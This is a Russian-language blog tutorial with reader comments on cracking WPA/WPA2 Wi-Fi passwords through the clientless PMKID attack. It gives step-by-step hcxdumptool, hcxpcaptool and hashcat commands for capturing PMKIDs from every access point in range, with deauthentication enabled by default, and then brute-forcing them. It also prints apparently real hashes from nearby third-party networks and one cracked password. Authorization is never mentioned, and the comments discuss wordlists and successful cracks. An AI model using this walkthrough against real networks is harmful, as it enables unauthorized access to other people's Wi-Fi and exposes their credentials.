Взлом Wi-Fi без пользователей

Новая атака на Wi-Fi без клиентов

Имеется большое количество разнообразных атак на Wi-Fi. Самой универсальной атакой (работающей в отношении практически всех точек доступа) является атака на технологию WPA/WPA2, поскольку именно она применяется в подавляющем большинстве беспроводных точек доступа. WPA/WPA2 при подключении клиентов к точке доступа используют протокол безопасности EAPOL, во время которого происходит поэтапный обмен данными между точкой доступом и клиентом, который хочет подключиться. Суть атаки заключается в том, что необходимо перехватить полностью (или хотя бы часть) передаваемые данные и методом перебора найти подходящий пароль. Проще говоря, сначала нужно захватить рукопожатие (на этапе EAPOL), а затем с помощью брут-форса найти правильный пароль.

На каждом из этих двух этапов могут возникнуть трудности: проблемы с захватом рукопожатия могут быть вызваны множеством причин, самой фатальной из них является отсутствие клиентов. То есть если нет подключающихся клиентов, значит не используется протокол EAPOL, значит нечего перехватывать.

На форуме hashcat.net (тема https://hashcat.net/forum/thread-7717.html) нашли способ, который позволяет получить необходимые для брутфорса данные без необходимости перехватывать рукопожатие. Эта новая техника позволяет атаковать пароли WPA/WPA2 PSK (Pre-Shared Key).

Технология Wi-Fi использует большое количество реализаций и всевозможных сопутствующих технологий и решений. Поэтому описанный здесь способ может работать не во всех случаях — зависит от производителя устройства и его особенностей реализации. Также может зависеть от чипа вашего Wi-Fi адаптера.

Далее немного теоретической информации с форума, а затем пример реальной успешной атаки по этой технологии.

Эта атака была открыта случайно во время поиска новых способов атаковать будущий стандарт безопасности WPA3. Этот WPA3 будет атаковать намного труднее из-за современного протокола установления ключей, называемого "Simultaneous Authentication of Equals" (SAE).

Не сообщается, был ли найден новый способ атаки на WPA3, зато для WPA/WPA2 PSK была открыта новая атака, также уже подготовлены необходимые инструменты. Главное отличие от существующих атак в том, что в новом методе не требуется полный захват 4-этапного рукопожатия EAPOL. Новая атака выполняется на RSN IE (Robust Security Network Information Element) единичного кадра EAPOL.

Пока собрано недостаточно информации, чтобы точно сказать, для устройств каких производителей или для каких роутеров эта техника будет работать, но авторы считают, что она будет работать в отношении любых 802.11i/p/q/r сетей с включёнными функциями роуминга (большинство современных роутеров).

В этом перечне:

  • 802.11i — улучшенная безопасность (2004).
  • 802.11p — WAVE — Wireless Access for the Vehicular Environment (беспроводной доступ для среды транспортного средства).
  • 802.11r — быстрый роуминг

А ещё в списке есть 802.11q — этот стандарт не используется, обозначение зарезервировано, авторы добавили его в этот список для хохмы — чтобы посмотреть на тех, кто перепечатывает материалы вообще ничего не проверяя.

Главные преимущества этой атаки следующие:

  • Больше не нужны обычные пользователи, поскольку атакующий напрямую взаимодействует с ТД (также называется «атака без клиентов»)
  • Больше не надо ждать 4-этапное рукопожатие между обычным пользователем и ТД
  • Больше никаких бракованных рукопожатий, которые могут быть составлены из EAPOL фреймов разных рукопожатий (что приводит к невозможности подобрать пароль, хотя атакующий об этом может не догадываться)
  • Больше никаких неверных паролей, отправленных обычными пользователями (если кто-то пытается подключиться к ТД, но делает это с неверным паролем, то такое (неполное) рукопожатие также можно перехватить и использовать для взлома. Можно даже подобрать пароль, который пытался использовать клиент, но поскольку этот пароль неверный, толку от него нет)
  • Больше никаких потерянных фреймов EAPOL, когда обычный пользователь или ТД слишком далеко от атакующего (в этом случае можно получить рукопожатие вообще не пригодное для взлома, либо пригодное для взлома, но в зависимости от того, какие фреймы потерялись, мы не можем быть уверены, что подключение прошло успешно)
  • Больше не нужно исправлять значения nonce и replaycounter (приводит к небольшому увеличению скорости)
  • Больше не нужны специальные форматы (pcap, hccapx и так далее.) - конечный результат будет представлен в виде обычной строки в шестнадцатеричной кодировке

Подробности об атаке

RSN IE — это опциональное поле, которое может быть найдено в управляющих 802.11 фреймах. Одной из возможностей RSN является PMKID.

Пример RSN PMKID в первом сообщении рукопожатия:

Ещё один пример:

И ещё:

PMKID вычисляется с использованием HMAC-SHA1 где в качестве ключа используется PMK (пароль от Wi-Fi), другая часть данных — это объединение фиксированной строки метки "PMK Name", MAC адрес точки доступа и MAC адрес станции.

Формула вычисления такая:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Поскольку PMK (пароль Wi-Fi) здесь тот же самый, что и в обычном четырёхстороннем EAPOL рукопожатии, то это идеальный вектор для атаки.

И обратите внимание, что все нужные нам данные мы получаем в ПЕРВОМ кадре EAPOL, который Точки Доступа отправляют сами кому угодно.

Программы для атаки без клиентов в Kali Linux

Для данной атаки необходимы три программы:

  • hcxdumptool v4.2.0 или новее — для захвата беспроводных фреймов
  • hcxtools v4.2.0 или новее — для извлечения необходимых для брут-форса данных
  • hashcat v4.2.0 или новее для брут-форса пароля

hcxdumptool и hcxtools в Kali Linux устанавливаются совсем просто:

# установка hcxdumptool
git clone https://github.com/ZerBea/hcxdumptool
cd hcxdumptool/
make
sudo make install
cd .. # вверх

# установка hcxtools
sudo apt install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
git clone https://github.com/ZerBea/hcxtools
cd hcxtools/
make
sudo make install
cd .. # вверх

rm -rf hcxdumptool hcxtools # очистка

hashcat в Kali Linux установлена по умолчанию, но также для неё требуются проприетарные драйвера. Установка драйверов на примере nVidia показана в статье «Взлом с CUDA GPU в Kali Linux в облаке и на ПК».

Программы для атаки без клиентов в BlackArch

hcxdumptool и hcxtools в этом дистрибутиве присутствуют в репозитории, поэтому устанавливаются одной командой:

sudo pacman -S hcxdumptool hcxtools

О том, как установить Hashcat в Arch Linux/BlackArch написано здесь.

Пример атаки «без клиентов» на Wi-Fi

Начнём со следующей команды:

sudo hcxdumptool -I

Этой командой мы получаем список wlan интерфейсов:

  • c0b6f9daaf3e wlo1 (iwlwifi)
  • 00c0ca900d9f wlp0s20f0u1 (rt2800usb)

А также два предупреждения:

  • warning: NetworkManager is running with pid 578
  • warning: wpa_supplicant is running with pid 1190

Они означают, что в данный момент работают программы NetworkManager и wpa_supplicant с идентификаторами процессов 578 и 1190 соответственно. Чтобы не было проблем, нужно завершить эти программы. Это можно сделать командой kill, после которой укажите pid процессов (поменяйте данные на свои):

sudo kill 578 1190

По идее, не нужно переводить Wi-Fi карту в режим монитора — hcxdumptool должна сделать это за нас, но если при следующей команде вы получите сообщения:

interface is not up
failed to init socket

значит переведите беспроводной интерфейс в режим монитора вручную командами вида:

sudo ip link set <интерфейс> down
sudo iw dev <интерфейс> set monitor control
sudo ip link set <интерфейс> up

Например, я хочу использовать интерфейс wlp0s20f0u1, тогда мои команды выглядят так:

sudo ip link set wlp0s20f0u1 down
sudo iw dev wlp0s20f0u1 set monitor control
sudo ip link set wlp0s20f0u1 up

Запускаем hcxdumptool для запроса PMKID от ТД и сохранения полученных кадров в формат pcapng:

sudo hcxdumptool -o test.pcapng -i wlp0s20f0u1 --enable_status 15

В предыдущей команде:

  • -o test.pcapng — сохранить захваченные фреймы в файл test.pcapng формата pcapng
  • -i wlp0s20f0u1 — использовать Wi-Fi интерфейс wlp0s20f0u1
  • --enable_status 15 — включить показ в реальном времени EAPOL, PROBEREQUEST/PROBERESPONSE, AUTHENTICATON, ASSOCIATION — можно уменьшить вербальность, подробности смотрите в справке: https://kali.tools/?p=4197

Приведённая выше команда пытается собрать данные со всех точек доступа, находящихся в радиусе досягаемости, причём используется как «без клиентская атака», так и классическая атака с деаутентификацией. Если вы хотите собирать PMKID без параллельного выполнения атаки деаутентификация, то используйте дополнительно опцию --disable_deauthentications.

Как уже было сказано, по умолчанию атакуются все Точки Доступа, если вы хотите атаковать только некоторые или исключительно одну, то используйте опцию --filterlist=<файл>, где в качестве <файла> укажите список MAC-адресов (по одному на строку). По умолчанию эти цели НЕ будут атаковаться. Если вы хотите атаковать ТОЛЬКО цель из списка, то используйте опцию --filtermode=2.

Если вы хотите атаковать конкретную точку доступа и вы знаете номер канала, на котором она работает, то кроме опций --filterlist (в которой укажите один адрес) и опции --filtermode=2, можно указать опцию -c, после которой напишите номер канала ТД.

Если ТД получает наш пакет с запросом ассоциации и поддерживает отправку PMKID, то мы увидим сообщением [FOUND PMKID]. То есть если появляются надписи [FOUND PMKID], значит мы успешно получили PMKID для точки доступа.

Дополнительно время от времени внизу появляются обобщающие данные, в том числе содержащие строку powned, например, powned=6:

Это означает, что захвачены данные для шести (в моём случае) точек доступа. Это необязательно именно PMKID — здесь учитываются и обычные рукопожатия (если атака деаутентификация не была предварительно отключена).

В зависимости от шумности wifi канала, может потребоваться некоторое время для получения PMKID. Авторы рекомендуют запускать hcxdumptool до 10 минут. Сбор данных может работать любое время, обычно 10 минут более чем достаточно. Для остановки захвата просто нажмите Ctrl+c.

Теперь запустим hcxpcaptool для конвертации захваченных данных из формата pcapng в хеш формат, который принимает hashcat:

hcxpcaptool -z test.16800 test.pcapng

Здесь:

  • test.pcapng — имя файла, из которого извлекаются данные
  • опция -z означает сохранить PMKID, за ней идёт имя файла, куда будет сделано сохранение.

Данные с подробностями:

start reading from test.pcapng
                                                
summary:                                        
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.18.10-arch1-1-ARCH
file application information.: hcxdumptool 4.2.1
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 2974
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 51
probe requests...............: 18
probe responses..............: 24
association requests.........: 74
association responses........: 161
reassociation requests.......: 3
reassociation responses......: 43
authentications (OPEN SYSTEM): 2262
authentications (BROADCOM)...: 2244
authentications (APPLE)......: 17
EAPOL packets................: 336
EAPOL PMKIDs.................: 9

9 PMKID(s) written to test.16800

Всего сохранено 9 PMKID в файл test.16800.

Файл с хешами — это самый обычный текстовый файл, его можно открыть любым текстовым редактором и посмотреть:

gedit test.16800

Содержимое моего файла:

f2d89d22949759168edf5fd0324764a7*cc4eece1ad58*008092b75244*4e50414145
b3304420b5100873aa23ee3fc2ab3244*d8fb5e49f484*9c04ebaaa33d*50555245204655524e4954555245
a695c4e6a51c1590ea06a458a1860a24*403dec1a88a8*a8880854af50*52756e6763686169
8a8e906b2fb33e0c66833e5efeb4dc8e*403dec187630*7429afe41473*747275655f686f6d6532475f343432
bba899c7bd8719487377dd38a83a2648*403decc272b8*bc926b7c4e2c*5061616e676f6f6e5f3247
5a2da74a1dbe085331dcd9af61a87f50*c88d833bea34*18e29fec7be3*57494e5645524e
e33c525441bf7588c53966addb685a4c*98ded0be2346*fcc2333f478f*546f6e323534386661323535306b616932353133
67661236088d31c937a4646ede4aa7bb*403decbeb114*fcc2333f478f*747275655f686f6d6532475f313036
1bdb53c369ca8c470d9cc990440f056f*2c088c5a4862*60a4d0044de7*426f6f63687532

Кажется, что ничего не понятно? На самом деле, всё довольно просто. Самой интересной частью хеша для нас является та строка, которая идёт после последней звёздочки. В ней содержится имя Точки Доступа в шестнадцатеричном виде. Чтобы перевести это имя в нормальный вид, используйте команду вида:

echo HEX_строка | xxd -r -p

Например, я хочу узнать имя, которое закодировано как 50555245204655524e4954555245, тогда:

echo 50555245204655524e4954555245 | xxd -r -p

Результат:

PURE FURNITURE

Чтобы показать названия всех точек доступа, для которых захвачены данные, используйте команду:

awk -F "*" '{ system("echo " $4 " | xxd -r -p; echo" ) }' test.16800

При необходимости, замените имя файла test.16800 на другое.

Если вам интересно, какие ещё там данные, то всего четыре поля (все в шестнадцатеричной кодировке):

  • PMKID
  • MAC ТД
  • MAC Станции
  • ESSID

Это не требуется, но с hcxpcaptool вы можете также попробовать такие опции как -E -I и -U:

-E <файл> : вывод списка слов (включено автоматическое шестнадцатеричное кодирование) для использования в качестве словаря с взломщиком
-I <файл> : вывод неотсортированного списка идентичностей
-U <файл> : вывод неотсортированного списка имён пользователей

Эти файлы можно использовать для атаки по словарю с hashcat. Обычно они дают неплохой результат.

Команда вместе с этими опциями:

hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

Этими опциями ищутся любые текстовые строки в открытом виде. Как я уже говорил в начале, реализации Wi-Fi у производителей разные, в некоторых чувствительные данные могут передаваться в открытом виде.

Могут появиться новые файлы essidlist (преимущественно состоит из имён Точек Доступа, но могут быть и другие очень интересные строки), identitylist и usernamelist. Некоторые файлы могут не появиться, если ничего не найдено.

Теперь переходим к брут-форсу.

Можно выполнить перебор паролей по маске либо по словарю. Можно атаковать как все хеши в файле, так и отдельные.

К примеру, если я хочу атаковать все хеши атакой по словарю, то моя команда следующая:

hashcat -m 16800 -a 0 -w 3 -o "temp_cracked.txt" test.16800 bin/WiFi-autopwner/dict/rockyou_cleaned.txt

В ней:

  • -m 16800 — тип хеша для атаки (не нужно менять)
  • -a 0 означает атаку по словарю
  • -w 3 означает использование интенсивного профиля нагрузки
  • -o "temp_cracked.txt" означает сохранить взломанные пароли в файл temp_cracked.txt
  • test.16800 — это файл с хешами
  • bin/WiFi-autopwner/dict/rockyou_cleaned.txt — путь до словаря, используемого при взломе

Если вы хотите взламывать только отдельные хеши, то в предыдущей команде вместо пути до файла с хешами укажите сам хеш, взяв его в кавычки. К примеру, я хочу взломать хеш b3304420b5100873aa23ee3fc2ab3244*d8fb5e49f484*9c04ebaaa33d*50555245204655524e4954555245, тогда моя команда:

hashcat -m 16800 -a 0 -w 3 -o "temp_cracked.txt" 'b3304420b5100873aa23ee3fc2ab3244*d8fb5e49f484*9c04ebaaa33d*50555245204655524e4954555245' bin/WiFi-autopwner/dict/rockyou_cleaned.txt

Для атаки по маске используется команда следующего вида:

hashcat -m 16800 -a 3 -w 3 -o "temp2_cracked.txt" test.16800 ?d?d?d?d?d?d?d?d

В ней:

  • -m 16800 — тип хеша для атаки (не нужно менять)
  • -a 3 означает атаку по маске
  • -w 3 означает использование интенсивного профиля нагрузки
  • -o "temp2_cracked.txt" означает сохранить взломанные пароли в файл temp2_cracked.txt
  • test.16800 — это файл с хешами
  • ?d?d?d?d?d?d?d?d — маска для атаки, означает пароль длиной в восемь символов, полностью состоящий из цифр

Если вы хотите взламывать только отдельные хеши, то в предыдущей команде вместо пути до файла с хешами укажите сам хеш, взяв его в кавычки. К примеру, я хочу взломать хеш b3304420b5100873aa23ee3fc2ab3244*d8fb5e49f484*9c04ebaaa33d*50555245204655524e4954555245, тогда моя команда:

hashcat -m 16800 -a 3 -w 3 -o "temp2_cracked.txt" 'b3304420b5100873aa23ee3fc2ab3244*d8fb5e49f484*9c04ebaaa33d*50555245204655524e4954555245' ?d?d?d?d?d?d?d?d

Если пароль подобран, то он будет выведен на экран, а также сохранён в файле temp_cracked.txt или temp2_cracked.txt.

При этом записи будут иметь примерно такой вид:

fa9a5dd2fb9029bfc9f4d1bd4e384bfb*403decc272b8*7081eb739a56*5061616e676f6f6e5f3247:00001777

То есть это исходный хеш, после которого через двоеточие добавлен пароль в открытом виде. В данном случае пароль 00001777, чтобы декодировать имя точки доступа используем уже знакомую конструкцию:

echo 5061616e676f6f6e5f3247 | xxd -r -p
Paangoon_2G

Результаты атаки:

Первая атака по словарю не дала результата. Зато вторая атака по маске взломала 2 из 9 паролей.

Заключение

Рассмотренная атака является отличным дополнением к уже существующим. С помощью неё появляется реальный шанс получить пароль от совсем «безнадёжных» Точек Доступа (без клиентов и с выключенным WPS).

Смотрите также «Взлом Wi-Fi без пользователей в Aircrack-ng».

Рекомендуется Вам:

9 комментариев to Взлом Wi-Fi без пользователей

  1. Аноним:

    Спасибо автору!! Узнаю старый добрый hackware))) Извиняй за критику, уже думал ты руки опустил, захожу сюда а новый статей нет и нет) а тут прям как просил)) однозначно респект))

    • Alexey Alexey:

      Я нормально отношусь к нормальной критике. А статьи я и раньше писал периодами: есть время, делаю. Надеюсь, в ближайшие месяцы будет достаточно времени для новых статей — много всего накопилось, чего хочется рассказать.

      Кстати, к трёхлетию HackWare ещё запущу форум.

  2. Guwer:

    При использовании команды :

    hcxdumptool -o test.pcapng -i wlan0 --enable_status 15 --filterlist=list.txt --filtermode=2

    Вывод:

    reading blacklist line 1 failed: "тут MAC - адрес"
    failed to init globals

    PS.

    Изменил формат MAC без двоеточий , запустился, но вроде как так же скачет по всем точкам, а не той которой указал, и вроде как и видит.

    FILTERLIST……………: 1 entries

    Спасибо автору за актуальные, и понятные статьи.

     

     

  3. sluchatel:

    а у меня зараза ни одного PMKID не найдено …куча сетей… хоть полчаса захватывай…(пичалька)

    Автор молодец за статьи и способы.

    спасибо

    • Alexey Alexey:

      Если есть больше чем один Wi-Fi адаптер, то попробуйте с другими — там на форуме писали, что с некоторыми есть проблемы.

      Если есть «коллекция» ранее захваченных рукопожатий, то можно поискать в них PMKID. К примеру, я вот из этой темы наугад загрузил три последних рукопожатия, и в одном из них имеется PMKID:

      То есть это не особая редкость — если сетей много, должно попадаться.

  4. sluchatel:

    спасибо

    адаптер 1 -AWUS 036NHA

    с коллекциями попробую

  5. Павел:

    Здраствуйте! А где взять словарь для подбора паролей?

    • Alexey Alexey:

      Если именно тот, который использовал я в примере, то прямая ссылка на словарь.

      Много разных словарей здесь.

      Здесь словари специально для Wi-Fi (но я не смотрел, стоящие они или нет).

      На Античате много выкладывают словарей для Wi-Fi или можно просто погуглить — много кто собирает свои словари — некоторые небольшие, некоторые получаются на десятки гигабайт.

  6. Nikolay:

    поддерживаю, много полезной инфы с доступными примерами

    ток что попробывал связку

    наловил рукопожатий не полных, с помощью airodump-ng + мобила, конвертировал hcxpcaptool все под линухой

    hcxpcaptool -E essidlist -I identitylist -U usernamelist -z PMKID.PMKID *.cap

    под линукс перебор не работает в ввиду … мда, не хватает ему OpenCL еще не разбирался

    под выньдос перебрал по словарю конечные четырех значные цифры из десятичного пароля в 2 минуты! без OpenCL с параметром --force

    и надо же, нашел правильный! )) тот же фокус почему то в aircrack-ng не проходит, находит но совсем не то

Добавить комментарий

Ваш e-mail не будет опубликован.